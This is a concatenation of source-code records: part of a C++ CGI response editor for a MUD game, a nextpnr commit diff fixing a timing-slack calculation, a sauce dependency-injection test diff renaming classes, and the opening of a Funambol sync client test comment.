db(DB_IMMORTAL);\n  TDatabase db_sneezy(DB_SNEEZY);\n\n  if(!checkPlayerName(account_id, **(cgi.getElement(\"owner\")))){\n    cout << \"Owner name didn't match - security violation.\";\n    return;\n  }\n  \n\n  db.query(\"insert into mobresponses (owner, vnum, response) values ('%s', %s, '')\",\n\t   (**(cgi.getElement(\"owner\"))).c_str(),\n\t   (**(cgi.getElement(\"vnum\"))).c_str());\n\n\n}\n\n\nvoid saveResp(Cgicc cgi, int account_id)\n{\n  TDatabase db(DB_IMMORTAL);\n\n  if(!checkPlayerName(account_id, **(cgi.getElement(\"owner\")))){\n    cout << \"Owner name didn't match - security violation.\";\n    return;\n  }\n\n  db.query(\"delete from mobresponses where owner='%s' and vnum=%s\",\n  \t   (**(cgi.getElement(\"owner\"))).c_str(), \n  \t   (**(cgi.getElement(\"vnum\"))).c_str());\n  \n  db.query(\"insert into mobresponses (owner, vnum, response) values ('%s', %s, '%s')\",\n\t   (**(cgi.getElement(\"owner\"))).c_str(),\n\t   (**(cgi.getElement(\"vnum\"))).c_str(),\n\t   (**(cgi.getElement(\"response\"))).c_str());\n\n  cout << \"Saved.<br>\";\n}\n\n\nvoid sendShowResp(int account_id, int vnum, bool wizard)\n{\n  TDatabase db(DB_IMMORTAL);\n\n  assign_item_info();\n\n  db.query(\"select owner, vnum, response from mobresponses where vnum=%i and owner in (%r)\", vnum, getPlayerNames(account_id).c_str());\n  db.fetchRow();\n\n  cout << \"<form method=post action=respeditor.cgi>\" << endl;\n  cout << \"<table width=100%><tr>\";\n  cout << \"<td align=left><button name=state value=logout type=submit>logout<\/button><\/td>\";\n  cout << \"<td align=left><button name=state value=main type=submit>response list<\/button><\/td>\";\n  cout << \"<td width=100% align=right><button name=state value=delresp type=submit>delete<\/button><\/td>\";\n  cout << \"<input type=hidden name=owner value='\" << db[\"owner\"] << \"'>\";\n  cout << \"<input type=hidden name=vnum value='\" << vnum << \"'>\";\n  cout << \"<p><\/form>\" << endl;\n\n  cout << \"<form action=\\\"respeditor.cgi\\\" method=post name=saveresp>\" << endl;\n  cout << \"<input type=hidden name=state value=saveresp>\" << endl;\n\n  cout << \"<input type=hidden name=owner value='\" << db[\"owner\"] << \"'>\";\n\n\n  cout << \"<table border=1>\";\n\n\n  cout << fmt(\"<tr><td>%s<\/td><td><input type=text size=127 name='%s' value='%s'><\/td><\/tr>\\n\") % \"vnum\" % \"vnum\" % db[\"vnum\"];\n\n\n  sstring buf=db[\"response\"];\n  while (buf.find(\"'\") != sstring::npos)\n    buf.replace(buf.find(\"'\"), 1, \"&#146;\");\n\n  cout << fmt(\"<tr><td>%s<\/td><td><textarea name='%s' cols=90 rows=30>%s<\/textarea><\/td><\/tr>\\n\") % \"response\" % \"response\" % buf;\n\n\n\n  cout << \"<\/table>\";\n\n  cout << \"<input type=submit value='save changes'>\";\n  cout << \"<\/form>\" << endl;\n\n  cout << body() << endl;\n  cout << html() << endl;\n  \n  \n}\n\nvoid sendResplist(int account_id){\n  TDatabase db(DB_IMMORTAL);\n\n  cout << HTTPHTMLHeader() << endl;\n  cout << html() << head() << title(\"Respeditor\") << endl;\n  sendJavaScript();\n  cout << head() << body() << endl;\n\n  cout << \"<form method=post action=respeditor.cgi>\" << endl;\n  cout << \"<button name=state value=logout type=submit>logout<\/button>\";\n  cout << \"<p><\/form>\";\n\n  sstring buildername;\n\n  db.query(\"select owner, max(vnum)+1 as nvnum from mobresponses where lower(owner) in (%r) group by owner\",\n\t   getPlayerNames(account_id).c_str());\n  \n  if(db.fetchRow())\n    buildername=db[\"owner\"];\n  else {\n    \/\/ no objects yet\n    TDatabase db_sneezy(DB_SNEEZY);\n    db_sneezy.query(\"select p.name as name from wizpower w, account a, player p where p.id=w.player_id and p.account_id=a.account_id and a.account_id=%i and w.wizpower=%i\", account_id, mapWizPowerToFile(POWER_BUILDER));\n    db_sneezy.fetchRow();\n    buildername=db_sneezy[\"name\"];\n  }\n\n  cout << \"<form method=post action=respeditor.cgi>\" << endl;\n  cout << \"<button name=state value=newresp type=submit>new resp<\/button>\";\n  cout << \"vnum <input type=text name=vnum value=\" << db[\"nvnum\"] << \">\";\n  cout << \"<input type=hidden name=owner value='\" << buildername << \"'>\";\n  cout << \"<\/form>\";\n  cout << endl;\n\n  cout << \"<form action=\\\"respeditor.cgi\\\" method=post name=pickresp>\" << endl;\n  cout << \"<input type=hidden name=vnum>\" << endl;\n  cout << \"<input type=hidden name=state>\" << endl;\n\n  cout << \"<table border=1>\";\n  cout << \"<tr><td>vnum<\/td><\/tr>\";\n\n  db.query(\"select vnum, response from mobresponses where lower(owner) in (%r) order by vnum asc\", getPlayerNames(account_id).c_str());\n  \n\n  while(db.fetchRow()){\n    cout << \"<tr><td>\" << \"<a href=javascript:pickresp('\" << db[\"vnum\"];\n    cout << \"','showresp')>\" << db[\"vnum\"] << \"<\/a>\" << endl;\n    cout << \"<\/td>\" << endl;\n    cout << \"<\/tr>\" << endl;\n\n  }\n\n  cout << \"<\/table><\/form>\" << endl;\n\n  cout << body() << endl;\n  cout << html() << endl;\n}\n\n\nvoid sendJavaScript()\n{\n  cout << \"<script language=\\\"JavaScript\\\" type=\\\"text\/javascript\\\">\" << endl;\n  cout << \"<!--\" << endl;\n\n  cout << \"function pickresp(vnum, state)\" << endl;\n  cout << \"{\" << endl;\n  cout << \"document.pickresp.state.value = state;\" << endl;\n  cout << \"document.pickresp.vnum.value = vnum;\" << endl;\n  cout << \"document.pickresp.submit();\" << endl;\n  cout << \"}\" << endl;\n\n  cout << \"-->\" << endl;\n  cout << \"<\/script>\" << endl;\n\n\n}\n\n\/\/ candidate for inclusion in sstring\nvoid replaceString(sstring &str, sstring find, sstring replace)\n{\n  while(str.find(find)!=sstring::npos){\n    str.replace(str.find(find), find.size(), replace);\n  }\n}\n\n\/\/ candidate for some sort of global cgi tools library\nsstring mudColorToHTML(sstring str, bool spacer)\n{\n\n  replaceString(str, \"\\n\", \"<br>\");\n\n  replaceString(str, \"<f>\", \"\");\n  \/\/  replaceString(str, \" \", \"&nbsp;\");\n  replaceString(str, \"<r>\", \"<\/span><span style=\\\"color:red\\\">\");\n  replaceString(str, \"<R>\", \"<\/span><span style=\\\"color:red;font-weight:bold\\\">\");\n\n  replaceString(str, \"<b>\", \"<\/span><span style=\\\"color:blue\\\">\");\n  replaceString(str, \"<B>\", \"<\/span><span style=\\\"color:blue;font-weight:bold\\\">\");\n  replaceString(str, \"<g>\", \"<\/span><span style=\\\"color:green\\\">\");\n  replaceString(str, \"<G>\", \"<\/span><span style=\\\"color:green;font-weight:bold\\\">\");\n  replaceString(str, \"<c>\", \"<\/span><span style=\\\"color:cyan\\\">\");\n  replaceString(str, \"<C>\", \"<\/span><span style=\\\"color:cyan;font-weight:bold\\\">\");\n  replaceString(str, \"<p>\", \"<\/span><span style=\\\"color:purple\\\">\");\n  replaceString(str, \"<P>\", \"<\/span><span style=\\\"color:purple;font-weight:bold\\\">\");\n  replaceString(str, \"<o>\", \"<\/span><span style=\\\"color:orange\\\">\");\n  replaceString(str, \"<O>\", \"<\/span><span style=\\\"color:orange;font-weight:bold\\\">\");\n  replaceString(str, \"<y>\", \"<\/span><span style=\\\"color:yellow\\\">\");\n  replaceString(str, \"<Y>\", \"<\/span><span style=\\\"color:yellow;font-weight:bold\\\">\");\n  replaceString(str, \"<k>\", \"<\/span><span style=\\\"color:gray\\\">\");\n  replaceString(str, \"<K>\", \"<\/span><span style=\\\"color:gray;font-weight:bold\\\">\");\n  replaceString(str, \"<w>\", \"<\/span><span style=\\\"color:white\\\">\");\n  replaceString(str, \"<W>\", \"<\/span><span style=\\\"color:white;font-weight:bold\\\">\");\n  replaceString(str, \"<Z>\", \"<\/span><span style=\\\"color:white\\\">\");\n  replaceString(str, \"<z>\", \"<\/span><span style=\\\"color:white\\\">\");\n  replaceString(str, \"<1>\", \"<\/span><span style=\\\"color:white\\\">\");\n\n  \/\/ to help builders line up text\n  sstring spacing_strip=\"01234567890123456789012345678901234567890123456789012345678901234567890123456789<br>\";\n\n  if(!spacer)\n    spacing_strip=\"\";\n\n  return fmt(\"<span style=\\\"color:white\\\"><font face=\\\"courier\\\">%s%s<\/font><\/span>\") % spacing_strip % str;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  nextpnr -- Next Generation Place and Route\n *\n *  Copyright (C) 2018  David Shah <david@symbioticeda.com>\n *\n *  Permission to use, copy, modify, and\/or distribute this software for any\n *  purpose with or without fee is hereby granted, provided that the above\n *  copyright notice and this permission notice appear in all copies.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n *  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n *  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n *  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n *  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n *  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n *  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n#include \"place_common.h\"\n#include <cmath>\n#include \"log.h\"\n#include \"util.h\"\n\nNEXTPNR_NAMESPACE_BEGIN\n\n\/\/ Get the total estimated wirelength for a net\nwirelen_t get_net_metric(const Context *ctx, const NetInfo *net, MetricType type, float &tns)\n{\n    wirelen_t wirelength = 0;\n    Loc driver_loc;\n    bool driver_gb;\n    CellInfo *driver_cell = net->driver.cell;\n    if (!driver_cell)\n        return 0;\n    if (driver_cell->bel == BelId())\n        return 0;\n    driver_gb = ctx->getBelGlobalBuf(driver_cell->bel);\n    driver_loc = ctx->getBelLocation(driver_cell->bel);\n    if (driver_gb)\n        return 0;\n    delay_t worst_slack = std::numeric_limits<delay_t>::max();\n    int xmin = driver_loc.x, xmax = driver_loc.x, ymin = driver_loc.y, ymax = driver_loc.y;\n    for (auto load : net->users) {\n        if (load.cell == nullptr)\n            continue;\n        CellInfo *load_cell = load.cell;\n        if (load_cell->bel == BelId())\n            continue;\n        if (ctx->timing_driven && type == MetricType::COST) {\n            delay_t net_delay = ctx->predictDelay(net, load);\n            auto slack = load.budget - net_delay;\n            if (slack < 0)\n                tns += slack;\n            worst_slack = std::min(slack, worst_slack);\n        }\n\n        if (ctx->getBelGlobalBuf(load_cell->bel))\n            continue;\n        Loc load_loc = ctx->getBelLocation(load_cell->bel);\n\n        xmin = std::min(xmin, load_loc.x);\n        ymin = std::min(ymin, load_loc.y);\n        xmax = std::max(xmax, load_loc.x);\n        ymax = std::max(ymax, load_loc.y);\n    }\n    if (ctx->timing_driven && type == MetricType::COST) {\n        wirelength = wirelen_t((((ymax - ymin) + (xmax - xmin)) * std::min(5.0, (1.0 + std::exp(-worst_slack \/ 5)))));\n    } else {\n        wirelength = wirelen_t((ymax - ymin) + (xmax - xmin));\n    }\n\n    tns = ctx->getDelayNS(tns);\n    return wirelength;\n}\n\n\/\/ Get the total wirelength for a cell\nwirelen_t get_cell_metric(const Context *ctx, const CellInfo *cell, MetricType type)\n{\n    std::set<IdString> nets;\n    for (auto p : cell->ports) {\n        if (p.second.net)\n            nets.insert(p.second.net->name);\n    }\n    wirelen_t wirelength = 0;\n    float tns = 0;\n    for (auto n : nets) {\n        wirelength += get_net_metric(ctx, ctx->nets.at(n).get(), type, tns);\n    }\n    return wirelength;\n}\n\nwirelen_t get_cell_metric_at_bel(const Context *ctx, CellInfo *cell, BelId bel, MetricType type)\n{\n    BelId oldBel = cell->bel;\n    cell->bel = bel;\n    wirelen_t wirelen = get_cell_metric(ctx, cell, type);\n    cell->bel = oldBel;\n    return wirelen;\n}\n\n\/\/ Placing a single cell\nbool place_single_cell(Context *ctx, CellInfo *cell, bool require_legality)\n{\n    bool all_placed = false;\n    int iters = 25;\n    while (!all_placed) {\n        BelId best_bel = BelId();\n        wirelen_t best_wirelen = std::numeric_limits<wirelen_t>::max(),\n                  best_ripup_wirelen = std::numeric_limits<wirelen_t>::max();\n        CellInfo *ripup_target = nullptr;\n        BelId ripup_bel = BelId();\n        if (cell->bel != BelId()) {\n            ctx->unbindBel(cell->bel);\n        }\n        BelType targetType = ctx->belTypeFromId(cell->type);\n        for (auto bel : ctx->getBels()) {\n            if (ctx->getBelType(bel) == targetType && (!require_legality || ctx->isValidBelForCell(cell, bel))) {\n                if (ctx->checkBelAvail(bel)) {\n                    wirelen_t wirelen = get_cell_metric_at_bel(ctx, cell, bel, MetricType::COST);\n                    if (iters >= 4)\n                        wirelen += ctx->rng(25);\n                    if (wirelen <= best_wirelen) {\n                        best_wirelen = wirelen;\n                        best_bel = bel;\n                    }\n                } else {\n                    wirelen_t wirelen = get_cell_metric_at_bel(ctx, cell, bel, MetricType::COST);\n                    if (iters >= 4)\n                        wirelen += ctx->rng(25);\n                    if (wirelen <= best_ripup_wirelen) {\n                        CellInfo *curr_cell = ctx->cells.at(ctx->getBoundBelCell(bel)).get();\n                        if (curr_cell->belStrength < STRENGTH_STRONG) {\n                            best_ripup_wirelen = wirelen;\n                            ripup_bel = bel;\n                            ripup_target = curr_cell;\n                        }\n                    }\n                }\n            }\n        }\n        if (best_bel == BelId()) {\n            if (iters == 0) {\n                log_error(\"failed to place cell '%s' of type '%s' (ripup iteration limit exceeded)\\n\",\n                          cell->name.c_str(ctx), cell->type.c_str(ctx));\n            }\n            if (ripup_bel == BelId()) {\n                log_error(\"failed to place cell '%s' of type '%s'\\n\", cell->name.c_str(ctx), cell->type.c_str(ctx));\n            }\n            --iters;\n            ctx->unbindBel(ripup_target->bel);\n            best_bel = ripup_bel;\n        } else {\n            all_placed = true;\n        }\n        ctx->bindBel(best_bel, cell->name, STRENGTH_WEAK);\n\n        cell = ripup_target;\n    }\n    return true;\n}\n\nNEXTPNR_NAMESPACE_END\n<commit_msg>Fix tns computation<commit_after>\/*\n *  nextpnr -- Next Generation Place and Route\n *\n *  Copyright (C) 2018  David Shah <david@symbioticeda.com>\n *\n *  Permission to use, copy, modify, and\/or distribute this software for any\n *  purpose with or without fee is hereby granted, provided that the above\n *  copyright notice and this permission notice appear in all copies.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n *  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n *  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n *  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n *  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n *  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n *  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n#include \"place_common.h\"\n#include <cmath>\n#include \"log.h\"\n#include \"util.h\"\n\nNEXTPNR_NAMESPACE_BEGIN\n\n\/\/ Get the total estimated wirelength for a net\nwirelen_t get_net_metric(const Context *ctx, const NetInfo *net, MetricType type, float &tns)\n{\n    wirelen_t wirelength = 0;\n    Loc driver_loc;\n    bool driver_gb;\n    CellInfo *driver_cell = net->driver.cell;\n    if (!driver_cell)\n        return 0;\n    if (driver_cell->bel == BelId())\n        return 0;\n    driver_gb = ctx->getBelGlobalBuf(driver_cell->bel);\n    driver_loc = ctx->getBelLocation(driver_cell->bel);\n    if (driver_gb)\n        return 0;\n    delay_t negative_slack = 0;\n    delay_t worst_slack = std::numeric_limits<delay_t>::max();\n    int xmin = driver_loc.x, xmax = driver_loc.x, ymin = driver_loc.y, ymax = driver_loc.y;\n    for (auto load : net->users) {\n        if (load.cell == nullptr)\n            continue;\n        CellInfo *load_cell = load.cell;\n        if (load_cell->bel == BelId())\n            continue;\n        if (ctx->timing_driven && type == MetricType::COST) {\n            delay_t net_delay = ctx->predictDelay(net, load);\n            auto slack = load.budget - net_delay;\n            if (slack < 0)\n                negative_slack += slack;\n            worst_slack = std::min(slack, worst_slack);\n        }\n\n        if (ctx->getBelGlobalBuf(load_cell->bel))\n            continue;\n        Loc load_loc = ctx->getBelLocation(load_cell->bel);\n\n        xmin = std::min(xmin, load_loc.x);\n        ymin = std::min(ymin, load_loc.y);\n        xmax = std::max(xmax, load_loc.x);\n        ymax = std::max(ymax, load_loc.y);\n    }\n    if (ctx->timing_driven && type == MetricType::COST) {\n        wirelength = wirelen_t((((ymax - ymin) + (xmax - xmin)) * std::min(5.0, (1.0 + std::exp(-worst_slack \/ 5)))));\n    } else {\n        wirelength = wirelen_t((ymax - ymin) + (xmax - xmin));\n    }\n\n    tns += ctx->getDelayNS(negative_slack);\n    return wirelength;\n}\n\n\/\/ Get the total wirelength for a cell\nwirelen_t get_cell_metric(const Context *ctx, const CellInfo *cell, MetricType type)\n{\n    std::set<IdString> nets;\n    for (auto p : cell->ports) {\n        if (p.second.net)\n            nets.insert(p.second.net->name);\n    }\n    wirelen_t wirelength = 0;\n    float tns = 0;\n    for (auto n : nets) {\n        wirelength += get_net_metric(ctx, ctx->nets.at(n).get(), type, tns);\n    }\n    return wirelength;\n}\n\nwirelen_t get_cell_metric_at_bel(const Context *ctx, CellInfo *cell, BelId bel, MetricType type)\n{\n    BelId oldBel = cell->bel;\n    cell->bel = bel;\n    wirelen_t wirelen = get_cell_metric(ctx, cell, type);\n    cell->bel = oldBel;\n    return wirelen;\n}\n\n\/\/ Placing a single cell\nbool place_single_cell(Context *ctx, CellInfo *cell, bool require_legality)\n{\n    bool all_placed = false;\n    int iters = 25;\n    while (!all_placed) {\n        BelId best_bel = BelId();\n        wirelen_t best_wirelen = std::numeric_limits<wirelen_t>::max(),\n                  best_ripup_wirelen = std::numeric_limits<wirelen_t>::max();\n        CellInfo *ripup_target = nullptr;\n        BelId ripup_bel = BelId();\n        if (cell->bel != BelId()) {\n            ctx->unbindBel(cell->bel);\n        }\n        BelType targetType = ctx->belTypeFromId(cell->type);\n        for (auto bel : ctx->getBels()) {\n            if (ctx->getBelType(bel) == targetType && (!require_legality || ctx->isValidBelForCell(cell, bel))) {\n                if (ctx->checkBelAvail(bel)) {\n                    wirelen_t wirelen = get_cell_metric_at_bel(ctx, cell, bel, MetricType::COST);\n                    if (iters >= 4)\n                        wirelen += ctx->rng(25);\n                    if (wirelen <= best_wirelen) {\n                        best_wirelen = wirelen;\n                        best_bel = bel;\n                    }\n                } else {\n                    wirelen_t wirelen = get_cell_metric_at_bel(ctx, cell, bel, MetricType::COST);\n                    if (iters >= 4)\n                        wirelen += ctx->rng(25);\n                    if (wirelen <= best_ripup_wirelen) {\n                        CellInfo *curr_cell = ctx->cells.at(ctx->getBoundBelCell(bel)).get();\n                        if (curr_cell->belStrength < STRENGTH_STRONG) {\n                            best_ripup_wirelen = wirelen;\n                            ripup_bel = bel;\n                            ripup_target = curr_cell;\n                        }\n                    }\n                }\n            }\n        }\n        if (best_bel == BelId()) {\n            if (iters == 0) {\n                log_error(\"failed to place cell '%s' of type '%s' (ripup iteration limit exceeded)\\n\",\n                          cell->name.c_str(ctx), cell->type.c_str(ctx));\n            }\n            if (ripup_bel == BelId()) {\n                log_error(\"failed to place cell '%s' of type '%s'\\n\", cell->name.c_str(ctx), cell->type.c_str(ctx));\n            }\n            --iters;\n            ctx->unbindBel(ripup_target->bel);\n            best_bel = ripup_bel;\n        } else {\n            all_placed = true;\n        }\n        ctx->bindBel(best_bel, cell->name, STRENGTH_WEAK);\n\n        cell = ripup_target;\n    }\n    return true;\n}\n\nNEXTPNR_NAMESPACE_END\n<|endoftext|>"}
{"text":"<commit_before>#include <string>\n#include <stdexcept>\n\n#include <gmock\/gmock.h>\n#include <gtest\/gtest.h>\n\n#include <sauce\/sauce.h>\n\nusing ::testing::Sequence;\nusing ::testing::Return;\n\nusing ::sauce::Binder;\nusing ::sauce::Named;\n\nnamespace sauce {\nnamespace test {\n\nstruct C {};\nstruct D {};\nstruct N {};\n\nTEST(BindingTest, shouldThrowExceptionWhenGettingAnUnboundIface) {\n  sauce::shared_ptr<Injector> injector(Modules().createInjector());\n  ASSERT_THROW((injector->get<C>()), ::sauce::UnboundException);\n}\n\nstruct B;\n\nstruct A {\n  A(sauce::shared_ptr<B>) {}\n};\n\nstruct B {\n  B(sauce::shared_ptr<A>) {}\n};\n\nvoid CircularModule(Binder & binder) {\n  binder.bind<A>().to<A(B)>();\n  binder.bind<B>().to<B(A)>();\n}\n\nTEST(BindingTest, shouldThrowExceptionWhenResolvingCircularDependency) {\n  sauce::shared_ptr<Injector> injector(Modules().add(&CircularModule).createInjector());\n  ASSERT_THROW((injector->get<A>()), ::sauce::CircularDependencyException);\n}\n\nvoid IncompleteModule(Binder & binder) {\n  binder.bind<C>();\n}\n\nTEST(BindingTest, shouldThrowExceptionOnPartialBinding) {\n  ASSERT_THROW(\n    Modules().add(&IncompleteModule).createInjector(),\n    ::sauce::PartialBindingException);\n}\n\nvoid IncompleteNamedModule(Binder & binder) {\n  binder.bind<A>().named<N>();\n}\n\nTEST(BindingTest, shouldThrowExceptionOnPartialNamedBinding) {\n  ASSERT_THROW(\n    Modules().add(&IncompleteNamedModule).createInjector(),\n    ::sauce::PartialBindingException);\n}\n\nstruct Animal {\n  virtual std::string says() = 0;\n};\n\nstruct Cat: Animal {\n  std::string says() { return \"Meow\"; }\n};\n\nstruct Water {};\nstruct Fish: Animal {\n  std::string says() { return \"Blub blub\"; }\n};\n\nstruct Farm {};\nstruct Cow: Animal {\n  std::string says() { return \"Moo\"; }\n};\n\nstruct Pond {\n  sauce::shared_ptr<Animal> animal;\n\n  Pond(sauce::shared_ptr<Animal> animal):\n    animal(animal) {}\n};\n\nvoid AnimalModule(Binder & binder) {\n  binder.bind<Animal>().to<Cat()>();\n  binder.bind<Animal>().named<Water>().to<Fish()>();\n  binder.bind<Animal>().named<Farm>().to<Cow()>();\n\n  binder.bind<Pond>().to<Pond(Named<Animal, Water>)>();\n}\n\nTEST(BindingTest, shouldProvidedNamedDependencies) {\n  sauce::shared_ptr<Injector> injector(Modules().add(&AnimalModule).createInjector());\n\n  EXPECT_EQ(\"Meow\",      (injector->get<Animal>()->says()));\n  EXPECT_EQ(\"Blub blub\", (injector->get<Animal, Water>()->says()));\n  EXPECT_EQ(\"Moo\",       (injector->get<Named<Animal, Farm> >()->says()));\n\n  EXPECT_EQ(\"Blub blub\", (injector->get<Pond>()->animal->says()));\n}\n\nvoid IncompleteScopeModule(Binder & binder) {\n  binder.bind<A>().in<SingletonScope>();\n}\n\nTEST(BindingTest, shouldThrowExceptionOnPartialScopedBinding) {\n  ASSERT_THROW(\n    Modules().add(&IncompleteScopeModule).createInjector(),\n    ::sauce::PartialBindingException);\n}\n\nTEST(BindingTest, shouldImplicitlyBindTheInjectorItself) {\n  sauce::shared_ptr<Injector> expected = Modules().createInjector();\n  sauce::shared_ptr<Injector> actual = expected->get<Injector>();\n  ASSERT_EQ(expected, actual);\n}\n\n}\n}\n<commit_msg>Start ditching single-letter names in suite.<commit_after>#include <string>\n#include <stdexcept>\n\n#include <gmock\/gmock.h>\n#include <gtest\/gtest.h>\n\n#include <sauce\/sauce.h>\n\nusing ::testing::Sequence;\nusing ::testing::Return;\n\nusing ::sauce::Binder;\nusing ::sauce::Named;\n\nnamespace sauce {\nnamespace test {\n\nstruct C {};\nstruct D {};\nstruct N {};\n\nTEST(BindingTest, shouldThrowExceptionWhenGettingAnUnboundIface) {\n  sauce::shared_ptr<Injector> injector(Modules().createInjector());\n  ASSERT_THROW((injector->get<C>()), ::sauce::UnboundException);\n}\n\nstruct Dog;\n\nstruct Tail {\n  Tail(sauce::shared_ptr<Dog>) {}\n};\n\nstruct Dog {\n  Dog(sauce::shared_ptr<Tail>) {}\n};\n\nvoid CircularModule(Binder & binder) {\n  binder.bind<Tail>().to<Tail(Dog)>();\n  binder.bind<Dog>().to<Dog(Tail)>();\n}\n\nTEST(BindingTest, shouldThrowExceptionWhenResolvingCircularDependency) {\n  sauce::shared_ptr<Injector> injector(Modules().add(&CircularModule).createInjector());\n  ASSERT_THROW((injector->get<Tail>()), ::sauce::CircularDependencyException);\n}\n\nvoid IncompleteModule(Binder & binder) {\n  binder.bind<C>();\n}\n\nTEST(BindingTest, shouldThrowExceptionOnPartialBinding) {\n  ASSERT_THROW(\n    Modules().add(&IncompleteModule).createInjector(),\n    ::sauce::PartialBindingException);\n}\n\nvoid IncompleteNamedModule(Binder & binder) {\n  binder.bind<C>().named<N>();\n}\n\nTEST(BindingTest, shouldThrowExceptionOnPartialNamedBinding) {\n  ASSERT_THROW(\n    Modules().add(&IncompleteNamedModule).createInjector(),\n    ::sauce::PartialBindingException);\n}\n\nstruct Animal {\n  virtual std::string says() = 0;\n};\n\nstruct Cat: Animal {\n  std::string says() { return \"Meow\"; }\n};\n\nstruct Water {};\nstruct Fish: Animal {\n  std::string says() { return \"Blub blub\"; }\n};\n\nstruct Farm {};\nstruct Cow: Animal {\n  std::string says() { return \"Moo\"; }\n};\n\nstruct Pond {\n  sauce::shared_ptr<Animal> animal;\n\n  Pond(sauce::shared_ptr<Animal> animal):\n    animal(animal) {}\n};\n\nvoid AnimalModule(Binder & binder) {\n  binder.bind<Animal>().to<Cat()>();\n  binder.bind<Animal>().named<Water>().to<Fish()>();\n  binder.bind<Animal>().named<Farm>().to<Cow()>();\n\n  binder.bind<Pond>().to<Pond(Named<Animal, Water>)>();\n}\n\nTEST(BindingTest, shouldProvidedNamedDependencies) {\n  sauce::shared_ptr<Injector> injector(Modules().add(&AnimalModule).createInjector());\n\n  EXPECT_EQ(\"Meow\",      (injector->get<Animal>()->says()));\n  EXPECT_EQ(\"Blub blub\", (injector->get<Animal, Water>()->says()));\n  EXPECT_EQ(\"Moo\",       (injector->get<Named<Animal, Farm> >()->says()));\n\n  EXPECT_EQ(\"Blub blub\", (injector->get<Pond>()->animal->says()));\n}\n\nvoid IncompleteScopeModule(Binder & binder) {\n  binder.bind<C>().in<SingletonScope>();\n}\n\nTEST(BindingTest, shouldThrowExceptionOnPartialScopedBinding) {\n  ASSERT_THROW(\n    Modules().add(&IncompleteScopeModule).createInjector(),\n    ::sauce::PartialBindingException);\n}\n\nTEST(BindingTest, shouldImplicitlyBindTheInjectorItself) {\n  sauce::shared_ptr<Injector> expected = Modules().createInjector();\n  sauce::shared_ptr<Injector> actual = expected->get<Injector>();\n  ASSERT_EQ(expected, actual);\n}\n\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2006 Funambol\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\/\n\n\/**\n * This code uses the ClientTest and FILESyncSource to test real\n * synchronization against a server. More than one FILESyncSource can\n * be active at once and each of them may (but does not have to be)\n * used for different kinds of data. The name of the source determines\n * which data is stored in it: it must be something supported by the\n * ClientTest class, because that is where the test data comes from.\n *\n * At least the following kinds of data are currently supported by the\n * ClientTest class (see ClientTest::getSourceConfig() for more\n * information):\n * - vcard30 = vCard 3.0 contacts\n * - ical20 = iCalendar 2.0 calendar events\n * - itodo20 = iCalendar 2.0 tasks\n *\n * Configuration is done by environment variables which indicate which\n * part below the root node \"client-test\" of the the configuration tree to use;\n * beyond that everything needed for synchronization is read from the\n * configuration tree.\n *\n * - CLIENT_TEST_SERVER = maps to name of root node in configuration tree\n * - CLIENT_TEST_SOURCES = comma separated list of active sources,\n *                         names as listed above\n * - CLIENT_TEST_DELAY = number of seconds to sleep between syncs, required\n *                       by some servers\n * - CLIENT_TEST_LOG = logfile name of a server, can be empty:\n *                     if given, then the content of that file will be\n *                     copied and stored together with the client log\n *                     (only works on Unix)\n *\n * For example, on Linux running\n *    CLIENT_TEST_SERVER=funambol CLIENT_TEST_SOURCES=vcard30,ical20 .\/client-test\n * expects the following configuration layout:\n * ~\/.sync4j\/client-test\/\n *                       funambol_1\/spds\/\n *                                       syncml\/config.text\n *                                       sources\/\n *                                               vcard30\/config.txt\n *                                               ical20\/config.txt\n *                       funambol_1\/spds\/\n *                                       <same as for funambol_1>\n *\n * If any of the configuration nodes does not exist yet, then it will\n * be created, but further information may have to be added, in\n * particular:\n * - server URL\n * - server user name, password\n * - sources uri\n *\n * The two configurations are used to simulate synchronization between\n * two different clients.\n *\n * The file sources will store their items in sub directories of\n * a \"client-data\" directory created in the current working directory.\n *\n * Here is an example of using the CLIENT_TEST_LOG:\n *    CLIENT_TEST_SERVER=funambol \\\n *    CLIENT_TEST_LOG=\/opt\/Funambol-3.0\/ds-server\/logs\/funambol_ds.log \\\n *    CLIENT_TEST_SOURCES=vcard30 \\\n *    .\/client-test\n * will create files with the suffix .client.1.log for synchronizations with\n * the first client and .client.2.log for the second client. The base name\n * of these files is unique, so the corresponding part of the server log\n * is stored with the same base name and .server.log as suffix. \n *\/\n\n#include \"spdm\/DeviceManagementNode.h\"\n#include \"spds\/RawFILESyncSource.h\"\n#include \"spds\/spdsutils.h\"\n#include \"client\/DMTClientConfig.h\"\n#include \"client\/SyncClient.h\"\n#include \"test\/ClientTest.h\"\n#include 